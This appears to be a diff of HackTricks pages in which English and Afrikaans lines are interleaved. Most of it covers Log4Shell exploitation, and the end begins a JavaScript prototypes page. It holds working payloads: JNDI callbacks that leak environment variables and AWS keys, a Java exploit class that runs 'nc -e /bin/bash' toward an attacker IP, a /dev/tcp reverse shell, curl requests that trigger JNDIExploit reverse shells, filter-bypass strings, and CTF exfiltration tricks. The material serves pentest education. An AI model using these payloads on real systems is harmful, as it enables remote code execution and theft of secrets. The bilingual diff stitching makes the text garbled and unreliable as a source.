- `${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}` (using [canarytokens.com](https://canarytokens.org/generate))
- `${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}` (using [interactsh](https://github.com/projectdiscovery/interactsh))
- `${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net}` (using Burp Suite)
- `${jndi:ldap://2j4ayo.dnslog.cn}` (using [dnslog](http://dnslog.cn))
- `${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}` using (using [huntress](https://log4shell.huntress.com))
- `${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}` (gebruik [canarytokens.com](https://canarytokens.org/generate))
- `${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}` (gebruik [interactsh](https://github.com/projectdiscovery/interactsh))
- `${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net}` (gebruik Burp Suite)
- `${jndi:ldap://2j4ayo.dnslog.cn}` (gebruik [dnslog](http://dnslog.cn))
- `${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}` (gebruik [huntress](https://log4shell.huntress.com))
Note that **even if a DNS request is received that doesn't mean the application is exploitable** (or even vulnerable), you will need to try to exploit it.
Let daarop dat **selfs al 'n DNS-versoek ontvang word, dit nie beteken dat die toepassing uitbuitbaar is** (of selfs kwesbaar nie), jy sal moet probeer om dit uit te buit.
> [!NOTE]
> Remember that to **exploit version 2.15** you need to add the **localhost check bypass**: ${jndi:ldap://**127.0.0.1#**...}
> Onthou dat om **weergawe 2.15** te exploiteer, jy die **localhost kontrole omseiling** moet byvoeg: ${jndi:ldap://**127.0.0.1#**...}
#### **Local Discovery**
Search for **local vulnerable versions** of the library with:
#### **Plaaslike Ontdekking**
Soek na **plaaslike kwesbare weergawes** van die biblioteek met:
```bash
find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"
```
### **Verifikasie**
### **Verification**
Sommige van die platforms wat voorheen gelys is, sal jou toelaat om 'n paar veranderlike data in te voeg wat gelog sal word wanneer dit aangevra word.\
Dit kan baie nuttig wees vir 2 dinge:
Some of the platforms listed before will allow you to insert some variable data that will be logged when its requested.\
This can be very useful for 2 things:
- Om die **kwesbaarheid** te **verifieer**
- Om **inligting** te **exfiltreer** deur die kwesbaarheid te misbruik
- To **verify** the vulnerability
- To **exfiltrate information** abusing the vulnerability
For example you could request something like:\
or like `${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`** and if a **DNS request is received with the value of the env variable**, you know the application is vulnerable.
Other information you could try to **leak**:
Byvoorbeeld, jy kan iets soos aan vra:\
of soos `${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`** en as 'n **DNS-aanvraag ontvang word met die waarde van die omgewing veranderlike**, weet jy die toepassing is kwesbaar.
Ander inligting wat jy kan probeer om te **lek**:
```
${env:AWS_ACCESS_KEY_ID}
${env:AWS_CONFIG_FILE}
@ -205,81 +202,69 @@ ${sys:user.name}
Any other env variable name that could store sensitive information
```
### RCE Information
### RCE Inligting
> [!NOTE]
> Hosts running on JDK versions above 6u141, 7u131, or 8u121 are safeguarded against the LDAP class loading attack vector. This is due to the default deactivation of `com.sun.jndi.ldap.object.trustURLCodebase`, which prevents JNDI from loading a remote codebase via LDAP. However, it's crucial to note that these versions are **not protected against the deserialization attack vector**.
> Gashere wat op JDK weergawes bo 6u141, 7u131, of 8u121 loop, is beskerm teen die LDAP klas laai aanvalsvector. Dit is te danke aan die standaard deaktivering van `com.sun.jndi.ldap.object.trustURLCodebase`, wat voorkom dat JNDI 'n afstandlike kodebasis via LDAP laai. Dit is egter belangrik om te noem dat hierdie weergawes **nie teen die deserialisering aanvalsvector beskerm is** nie.
>
> For attackers aiming to exploit these higher JDK versions, it's necessary to leverage a **trusted gadget** within the Java application. Tools like ysoserial or JNDIExploit are often used for this purpose. On the contrary, exploiting lower JDK versions is relatively easier as these versions can be manipulated to load and execute arbitrary classes.
> Vir aanvallers wat daarop gemik is om hierdie hoër JDK weergawes te benut, is dit nodig om 'n **vertroude gadget** binne die Java-toepassing te gebruik. Gereedskap soos ysoserial of JNDIExploit word dikwels vir hierdie doel gebruik. Aan die ander kant is dit relatief makliker om laer JDK weergawes te benut, aangesien hierdie weergawes gemanipuleer kan word om arbitrêre klasse te laai en uit te voer.
>
> For **more information** (_like limitations on RMI and CORBA vectors_) **check the previous JNDI Naming Reference section** or [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/)
> Vir **meer inligting** (_soos beperkings op RMI en CORBA vektore_) **kyk na die vorige JNDI Naamverwysing afdeling** of [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/)
### RCE - Marshalsec with custom payload
### RCE - Marshalsec met pasgemaakte payload
You can test this in the **THM box:** [**https://tryhackme.com/room/solar**](https://tryhackme.com/room/solar)
Use the tool [**marshalsec**](https://github.com/mbechler/marshalsec) (jar version available [**here**](https://github.com/RandomRobbieBF/marshalsec-jar)). This approach establishes a LDAP referral server to redirect connections to a secondary HTTP server where the exploit will be hosted:
Jy kan dit in die **THM boks** toets: [**https://tryhackme.com/room/solar**](https://tryhackme.com/room/solar)
Gebruik die gereedskap [**marshalsec**](https://github.com/mbechler/marshalsec) (jar weergawe beskikbaar [**hier**](https://github.com/RandomRobbieBF/marshalsec-jar)). Hierdie benadering stel 'n LDAP verwysingsbediener in om verbindings na 'n sekondêre HTTP-bediener te herlei waar die uitbuiting gehoste sal word:
```bash
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"
```
To prompt the target to load a reverse shell code, craft a Java file named `Exploit.java` with the content below:
Om die teiken te versoek om 'n omgekeerde shell kode te laai, maak 'n Java-lêer genaamd `Exploit.java` met die inhoud hieronder:
```java
public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
}
```
Compile die Java-lêer in 'n klaslêer met: `javac Exploit.java -source 8 -target 8`. Volgende, begin 'n **HTTP-bediener** in die gids wat die klaslêer bevat met: `python3 -m http.server`. Verseker dat die **marshalsec LDAP-bediener** na hierdie HTTP-bediener verwys.
Compile the Java file into a class file using: `javac Exploit.java -source 8 -target 8`. Next, initiate a **HTTP server** in the directory containing the class file with: `python3 -m http.server`. Ensure the **marshalsec LDAP server** references this HTTP server.
Trigger the execution of the exploit class on the susceptible web server by dispatching a payload resembling:
Trigger die uitvoering van die eksploit klas op die kwesbare webbediener deur 'n payload te stuur wat soos volg lyk:
```bash
${jndi:ldap://<LDAP_IP>:1389/Exploit}
```
**Note:** This exploit hinges on Java's configuration to permit remote codebase loading via LDAP. If this is not permissible, consider exploiting a trusted class for arbitrary code execution.
**Nota:** Hierdie exploit hang af van Java se konfigurasie om afstandkodebasis laai via LDAP toe te laat. As dit nie toegelaat word nie, oorweeg dit om 'n vertroude klas te benut vir arbitrêre kode-uitvoering.
### RCE - **JNDIExploit**
> [!NOTE]
> Note that for some reason the author removed this project from github after the discovery of log4shell. You can find a cached version in [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) but if you want to respect the decision of the author use a different method to exploit this vuln.
> Let daarop dat die outeur om een of ander rede hierdie projek van github verwyder het na die ontdekking van log4shell. Jy kan 'n gekapte weergawe vind in [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) maar as jy die besluit van die outeur wil respekteer, gebruik 'n ander metode om hierdie kwesbaarheid te benut.
>
> Moreover, you cannot find the source code in wayback machine, so either analyse the source code, or execute the jar knowing that you don't know what you are executing.
> Boonop kan jy nie die bronkode in die wayback machine vind nie, so of jy ontleed die bronkode, of jy voer die jar uit met die kennis dat jy nie weet wat jy uitvoer nie.
For this example you can just run this **vulnerable web server to log4shell** in port 8080: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_in the README you will find how to run it_). This vulnerable app is logging with a vulnerable version of log4shell the content of the HTTP request header _X-Api-Version_.
Then, you can download the **JNDIExploit** jar file and execute it with:
Vir hierdie voorbeeld kan jy net hierdie **kwesbare webbediener vir log4shell** op poort 8080 laat loop: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_in die README sal jy vind hoe om dit te laat loop_). Hierdie kwesbare app log met 'n kwesbare weergawe van log4shell die inhoud van die HTTP-versoekkop _X-Api-Version_.
Dan kan jy die **JNDIExploit** jar-lêer aflaai en dit uitvoer met:
```bash
wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access
```
Na 'n paar minute se lees van die kode, in _com.feihong.ldap.LdapServer_ en _com.feihong.ldap.HTTPServer_ kan jy sien hoe die **LDAP en HTTP bedieners geskep word**. Die LDAP bediener sal verstaan watter payload bedien moet word en sal die slagoffer na die HTTP bediener herlei, wat die exploit sal bedien.\
In _com.feihong.ldap.gadgets_ kan jy **'n paar spesifieke gadgets** vind wat gebruik kan word om die gewenste aksie uit te voer (potensieel arbitrêre kode uit te voer). En in _com.feihong.ldap.template_ kan jy die verskillende sjabloonklasse sien wat die **exploits sal genereer**.
After reading the code just a couple of minutes, in _com.feihong.ldap.LdapServer_ and _com.feihong.ldap.HTTPServer_ you can see how the **LDAP and HTTP servers are created**. The LDAP server will understand what payload need to be served and will redirect the victim to the HTTP server, which will serve the exploit.\
In _com.feihong.ldap.gadgets_ you can find **some specific gadgets** that can be used to excute the desired action (potentially execute arbitrary code). And in _com.feihong.ldap.template_ you can see the different template classes that will **generate the exploits**.
You can see all the available exploits with **`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`**. Some useful ones are:
Jy kan al die beskikbare exploits sien met **`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`**. Sommige nuttige is:
```bash
ldap://null:1389/Basic/Dnslog/[domain]
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://null:1389/Basic/ReverseShell/[ip]/[port]
# But there are a lot more
```
So, in our example, we already have that docker vulnerable app running. To attack it:
So, in ons voorbeeld het ons reeds daardie docker kwesbare toepassing wat loop. Om dit aan te val:
```bash
# Create a file inside of th vulnerable host:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
@ -288,16 +273,14 @@ curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Comma
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'
```
Wanneer jy die aanvalle stuur, sal jy 'n paar uitvoer in die terminal sien waar jy **JNDIExploit-1.2-SNAPSHOT.jar** uitgevoer het.
When sending the attacks you will see some output in the terminal where you executed **JNDIExploit-1.2-SNAPSHOT.jar**.
**Remember to check `java -jar JNDIExploit-1.2-SNAPSHOT.jar -u` for other exploitation options. Moreover, in case you need it, you can change the port of the LDAP and HTTP servers.**
**Onthou om `java -jar JNDIExploit-1.2-SNAPSHOT.jar -u` te kontroleer vir ander eksploitasiemogelijkheden. Boonop, in geval jy dit nodig het, kan jy die poort van die LDAP en HTTP bedieners verander.**
### RCE - JNDI-Exploit-Kit <a href="#rce__jndiexploitkit_33" id="rce__jndiexploitkit_33"></a>
In a similar way to the previous exploit, you can try to use [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) to exploit this vulnerability.\
You can generate the URLs to send to the victim running:
Op 'n soortgelyke manier as die vorige eksploit, kan jy probeer om [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) te gebruik om hierdie kwesbaarheid te eksploiteer.\
Jy kan die URL's genereer om aan die slagoffer te stuur deur:
```bash
# Get reverse shell in port 4444 (only unix)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444
@ -305,36 +288,30 @@ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.
# Execute command
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"
```
_This attack using a custom generated java object will work in labs like the **THM solar room**. However, this wont generally work (as by default Java is not configured to load remote codebase using LDAP) I think because its not abusing a trusted class to execute arbitrary code._
_Hierdie aanval met 'n op maat gegenereerde java-objek sal werk in laboratoriums soos die **THM sonkamer**. Dit sal egter oor die algemeen nie werk nie (aangesien Java nie standaard gekonfigureer is om afstandkodebasis met LDAP te laai nie) ek dink omdat dit nie 'n vertroude klas misbruik om arbitrêre kode uit te voer nie._
### RCE - JNDI-Injection-Exploit-Plus
[https://github.com/cckuailong/JNDI-Injection-Exploit-Plus](https://github.com/cckuailong/JNDI-Injection-Exploit-Plus) is another tool for generating **workable JNDI links** and provide background services by starting RMI server,LDAP server and HTTP server.\
[https://github.com/cckuailong/JNDI-Injection-Exploit-Plus](https://github.com/cckuailong/JNDI-Injection-Exploit-Plus) is 'n ander hulpmiddel om **werkbare JNDI skakels** te genereer en agtergronddienste te bied deur RMI-bediener, LDAP-bediener en HTTP-bediener te begin.\
### RCE - ysoserial & JNDI-Exploit-Kit
This option is really useful to attack **Java versions configured to only trust specified classes and not everyone**. Therefore, **ysoserial** will be used to generate **serializations of trusted classes** that can be used as gadgets to **execute arbitrary code** (_the trusted class abused by ysoserial must be used by the victim java program in order for the exploit to work_).
Using **ysoserial** or [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified) you can create the deserialization exploit that will be downloaded by JNDI:
Hierdie opsie is regtig nuttig om **Java weergawes aan te val wat slegs spesifieke klasse vertrou en nie almal nie**. Daarom sal **ysoserial** gebruik word om **serialisasies van vertroude klasse** te genereer wat as gadgets gebruik kan word om **arbitrêre kode** uit te voer (_die vertroude klas wat deur ysoserial misbruik word, moet deur die slagoffer se java-program gebruik word sodat die ontploffing kan werk_).
Met **ysoserial** of [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified) kan jy die deserialisasie-ontploffing skep wat deur JNDI afgelaai sal word:
```bash
# Rev shell via CommonsCollections5
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser
```
Use [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) to generate **JNDI links** where the exploit will be waiting for connections from the vulnerable machines. You can server **different exploit that can be automatically generated** by the JNDI-Exploit-Kit or even your **own deserialization payloads** (generated by you or ysoserial).
Gebruik [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) om **JNDI skakels** te genereer waar die ontploffing sal wag vir verbindings van die kwesbare masjiene. Jy kan **verskillende ontploffings bedien wat outomaties gegenereer kan word** deur die JNDI-Exploit-Kit of selfs jou **eie deserialisering payloads** (gegenereer deur jou of ysoserial).
```bash
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser
```
![](<../../images/image (1118).png>)
Now you can easily use a generated JNDI link to exploit the vulnerability and obtain a **reverse shell** just sending to a vulnerable version of log4j: **`${ldap://10.10.14.10:1389/generated}`**
Nou kan jy maklik 'n gegenereerde JNDI-skakel gebruik om die kwesbaarheid te benut en 'n **reverse shell** te verkry deur net na 'n kwesbare weergawe van log4j te stuur: **`${ldap://10.10.14.10:1389/generated}`**
### Bypasses
```java
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
@ -346,8 +323,7 @@ ${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi
${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns
${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
```
### Automatic Scanners
### Outomatiese Skanners
- [https://github.com/fullhunt/log4j-scan](https://github.com/fullhunt/log4j-scan)
- [https://github.com/adilsoybali/Log4j-RCE-Scanner](https://github.com/adilsoybali/Log4j-RCE-Scanner)
@ -356,76 +332,72 @@ ${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
- [https://github.com/Qualys/log4jscanwin](https://github.com/Qualys/log4jscanwin)
- [https://github.com/hillu/local-log4j-vuln-scanner](https://github.com/hillu/local-log4j-vuln-scanner)
- [https://github.com/logpresso/CVE-2021-44228-Scanner](https://github.com/logpresso/CVE-2021-44228-Scanner)
- [https://github.com/palantir/log4j-sniffer](https://github.com/palantir/log4j-sniffer) - Find local vulnerable libraries
- [https://github.com/palantir/log4j-sniffer](https://github.com/palantir/log4j-sniffer) - Vind plaaslike kwesbare biblioteke
### Labs to test
### Laboratoriums om te toets
- [**LogForge HTB machine**](https://app.hackthebox.com/tracks/UHC-track)
- [**Try Hack Me Solar room**](https://tryhackme.com/room/solar)
- [**LogForge HTB masjien**](https://app.hackthebox.com/tracks/UHC-track)
- [**Try Hack Me Solar kamer**](https://tryhackme.com/room/solar)
- [**https://github.com/leonjza/log4jpwn**](https://github.com/leonjza/log4jpwn)
- [**https://github.com/christophetd/log4shell-vulnerable-app**](https://github.com/christophetd/log4shell-vulnerable-app)
## Post-Log4Shell Exploitation
## Post-Log4Shell Exploitatie
In this [**CTF writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) is well explained how it's potentially **possible** to **abuse** some features of **Log4J**.
In hierdie [**CTF skrywe**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) word dit goed verduidelik hoe dit potensieel **moontlik** is om **misbruik** te maak van sommige funksies van **Log4J**.
The [**security page**](https://logging.apache.org/log4j/2.x/security.html) of Log4j has some interesting sentences:
Die [**veiligheidsbladsy**](https://logging.apache.org/log4j/2.x/security.html) van Log4j het 'n paar interessante sinne:
> From version 2.16.0 (for Java 8), the **message lookups feature has been completely removed**. **Lookups in configuration still work**. Furthermore, Log4j now disables access to JNDI by default. JNDI lookups in configuration now need to be enabled explicitly.
> Vanaf weergawe 2.16.0 (vir Java 8), is die **boodskap soekfunksie heeltemal verwyder**. **Soek in konfigurasie werk steeds**. Verder deaktiveer Log4j nou toegang tot JNDI standaard. JNDI soektogte in konfigurasie moet nou eksplisiet geaktiveer word.
> From version 2.17.0, (and 2.12.3 and 2.3.1 for Java 7 and Java 6), **only lookup strings in configuration are expanded recursively**; in any other usage, only the top-level lookup is resolved, and any nested lookups are not resolved.
> Vanaf weergawe 2.17.0, (en 2.12.3 en 2.3.1 vir Java 7 en Java 6), **word slegs soekstringe in konfigurasie rekursief uitgebrei**; in enige ander gebruik, word slegs die boonste vlak soektog opgelos, en enige geneste soektogte word nie opgelos nie.
This means that by default you can **forget using any `jndi` exploit**. Moreover, to perform **recursive lookups** you need to have them configure.
For example, in that CTF this was configured in the file log4j2.xml:
Dit beteken dat jy standaard kan **vergeet om enige `jndi` exploit te gebruik**. Boonop, om **rekursiewe soektogte** uit te voer, moet jy dit konfigureer.
Byvoorbeeld, in daardie CTF was dit in die lêer log4j2.xml geconfigureer:
```xml
<Console name="Console" target="SYSTEM_ERR">
<PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
</PatternLayout>
<PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
</PatternLayout>
</Console>
```
### Omgewingsoek
### Env Lookups
In [hierdie CTF](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/) het die aanvaller die waarde van `${sys:cmd}` beheer en moes die vlag uit 'n omgewingsveranderlike onttrek.\
Soos gesien op hierdie bladsy in [**vorige payloads**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification) is daar verskillende maniere om omgewingveranderlikes te benader, soos: **`${env:FLAG}`**. In hierdie CTF was dit nutteloos, maar dit mag nie in ander werklike scenario's wees nie.
In [this CTF](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/) the attacker controlled the value of `${sys:cmd}` and needed to exfiltrate the flag from an environment variable.\
As seen in this page in [**previous payloads**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification) there are different some ways to access env variables, such as: **`${env:FLAG}`**. In this CTF this was useless but it might not be in other real life scenarios.
### Onttrekking in Uitsonderings
### Exfiltration in Exceptions
In the CTF, you **couldn't access the stderr** of the java application using log4J, but Log4J **exceptions are sent to stdout**, which was printed in the python app. This meant that triggering an exception we could access the content. An exception to exfiltrate the flag was: **`${java:${env:FLAG}}`.** This works because **`${java:CTF{blahblah}}`** doesn't exist and an exception with the value of the flag will be shown:
In die CTF kon jy **nie die stderr** van die java-toepassing met log4J toegang nie, maar Log4J **uitsonderings word na stdout gestuur**, wat in die python-toepassing gedruk is. Dit het beteken dat deur 'n uitsondering te aktiveer, kon ons die inhoud toegang. 'n Uitsondering om die vlag te onttrek was: **`${java:${env:FLAG}}`.** Dit werk omdat **`${java:CTF{blahblah}}`** nie bestaan nie en 'n uitsondering met die waarde van die vlag sal vertoon word:
![](<../../images/image (1023).png>)
### Conversion Patterns Exceptions
### Omsettingspatrone Uitsonderings
Just to mention it, you could also inject new [**conversion patterns**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) and trigger exceptions that will be logged to `stdout`. For example:
Net om dit te noem, jy kon ook nuwe [**omsettingspatrone**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) inspuit en uitsonderings aktiveer wat na `stdout` gelog word. Byvoorbeeld:
![](<../../images/image (683).png>)
This wasn't found useful to exfiltrate date inside the error message, because the lookup wasn't solved before the conversion pattern, but it could be useful for other stuff such as detecting.
Dit is nie nuttig gevind om data binne die foutboodskap te onttrek nie, omdat die soektog nie opgelos is voor die omsettingspatroon nie, maar dit kan nuttig wees vir ander dinge soos opsporing.
### Conversion Patterns Regexes
### Omsettingspatrone Regexes
However, it's possible to use some **conversion patterns that supports regexes** to exfiltrate information from a lookup by using regexes and abusing **binary search** or **time based** behaviours.
Dit is egter moontlik om sommige **omsettingspatrone wat regexes ondersteun** te gebruik om inligting uit 'n soektog te onttrek deur regexes te gebruik en **binaire soektog** of **tydgebaseerde** gedrag te misbruik.
- **Binary search via exception messages**
The conversion pattern **`%replace`** can be use to **replace** **content** from a **string** even using **regexes**. It works like this: `replace{pattern}{regex}{substitution}`\
Abusing this behaviour you could make replace **trigger an exception if the regex matched** anything inside the string (and no exception if it wasn't found) like this:
- **Binaire soektog via uitsonderingsboodskappe**
Die omsettingspatroon **`%replace`** kan gebruik word om **inhoud** van 'n **string** te **vervang**, selfs met **regexes**. Dit werk soos volg: `replace{pattern}{regex}{substitution}`\
Deur hierdie gedrag te misbruik, kan jy maak dat vervang **'n uitsondering aktiveer as die regex enige iets binne die string ooreenstem** (en geen uitsondering as dit nie gevind is nie) soos volg:
```bash
%replace{${env:FLAG}}{^CTF.*}{${error}}
# The string searched is the env FLAG, the regex searched is ^CTF.*
## and ONLY if it's found ${error} will be resolved with will trigger an exception
```
- **Tyd-gebaseerd**
- **Time based**
Soos in die vorige afdeling genoem, ondersteun **`%replace`** **regexes**. Dit is dus moontlik om 'n payload van die [**ReDoS-bladsy**](../regular-expression-denial-of-service-redos.md) te gebruik om 'n **tyd-oortreding** te veroorsaak indien die vlag gevind word.\
Byvoorbeeld, 'n payload soos `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` sal 'n **tyd-oortreding** in daardie CTF veroorsaak.
As it was mentioned in the previous section, **`%replace`** supports **regexes**. So it's possible to use payload from the [**ReDoS page**](../regular-expression-denial-of-service-redos.md) to cause a **timeout** in case the flag is found.\
For example, a payload like `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` would trigger a **timeout** in that CTF.
In this [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/), instead of using a ReDoS attack it used an **amplification attack** to cause a time difference in the response:
In hierdie [**skrywe**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/), in plaas daarvan om 'n ReDoS-aanval te gebruik, is 'n **versterking-aanval** gebruik om 'n tydverskil in die antwoord te veroorsaak:
> ```
> /%replace{
@ -442,13 +414,14 @@ In this [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-l
> }{#}{######################################################}
> }{#}{######################################################}
> }{#}{######################################################}
> }{#}{######################################################}
> ```
>
> If the flag starts with `flagGuess`, the whole flag is replaced with 29 `#`-s (I used this character because it would likely not be part of the flag). **Each of the resulting 29 `#`-s is then replaced by 54 `#`-s**. This process is repeated **6 times**, leading to a total of ` 29*54*54^6* =`` `` `**`96816014208`** **`#`-s!**
> As die vlag begin met `flagGuess`, word die hele vlag vervang met 29 `#`-s (Ek het hierdie karakter gebruik omdat dit waarskynlik nie deel van die vlag sal wees nie). **Elk van die resulterende 29 `#`-s word dan vervang deur 54 `#`-s**. Hierdie proses word **6 keer** herhaal, wat lei tot 'n totaal van ` 29*54*54^6* =`` `` `**`96816014208`** **`#`-s!**
>
> Replacing so many `#`-s will trigger the 10-second timeout of the Flask application, which in turn will result in the HTTP status code 500 being sent to the user. (If the flag does not start with `flagGuess`, we will receive a non-500 status code)
> Om soveel `#`-s te vervang sal die 10-sekonde tyd-oortreding van die Flask-toepassing aktiveer, wat op sy beurt sal lei tot die HTTP-statuskode 500 wat aan die gebruiker gestuur word. (As die vlag nie met `flagGuess` begin nie, sal ons 'n nie-500 statuskode ontvang)
## References
## Verwysings
- [https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/](https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/)
- [https://www.bleepingcomputer.com/news/security/all-log4j-logback-bugs-we-know-so-far-and-why-you-must-ditch-215/](https://www.bleepingcomputer.com/news/security/all-log4j-logback-bugs-we-know-so-far-and-why-you-must-ditch-215/)
@ -460,4 +433,3 @@ In this [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-l
- [https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,30 +2,27 @@
{{#include ../../../banners/hacktricks-training.md}}
## Objects in JavaScript <a href="#id-053a" id="id-053a"></a>
Objects in JavaScript are essentially collections of key-value pairs, known as properties. An object can be created using `Object.create` with `null` as an argument to produce an empty object. This method allows the creation of an object without any inherited properties.
## Voorwerpe in JavaScript <a href="#id-053a" id="id-053a"></a>
Voorwerpe in JavaScript is essensieel versamelings van sleutel-waarde pare, bekend as eienskappe. 'n Voorwerp kan geskep word met `Object.create` met `null` as 'n argument om 'n leë voorwerp te produseer. Hierdie metode stel die skepping van 'n voorwerp sonder enige geërfde eienskappe in staat.
```javascript
// Run this in the developers tools console
console.log(Object.create(null)) // This will output an empty object.
```
'n Leë objek is soortgelyk aan 'n leë woordeboek, voorgestel as `{}`.
An empty object is akin to an empty dictionary, represented as `{}`.
### Functions and Classes in JavaScript
In JavaScript, classes and functions are closely linked, with functions often serving as constructors for classes. Despite JavaScript's lack of native class support, constructors can emulate class behavior.
### Funksies en Klasse in JavaScript
In JavaScript is klasse en funksies nou verwant, met funksies wat dikwels as konstruktors vir klasse dien. Ten spyte van JavaScript se gebrek aan inheemse klasondersteuning, kan konstruktors klasgedrag naboots.
```javascript
// Run this in the developers tools console
function Employee(name, position) {
this.name = name
this.position = position
this.introduce = function () {
return "My name is " + this.name + " and I work as a " + this.position + "."
}
this.name = name
this.position = position
this.introduce = function () {
return "My name is " + this.name + " and I work as a " + this.position + "."
}
}
Employee.prototype
@ -34,70 +31,62 @@ var employee1 = new Employee("Generic Employee", "Developer")
employee1.__proto__
```
### Prototypes in JavaScript
JavaScript allows the modification, addition, or deletion of prototype attributes at runtime. This flexibility enables the dynamic extension of class functionalities.
JavaScript laat die wijziging, toevoeging of verwydering van prototipe-attribuutte tydens uitvoering toe. Hierdie buigsaamheid stel die dinamiese uitbreiding van klasfunksies in staat.
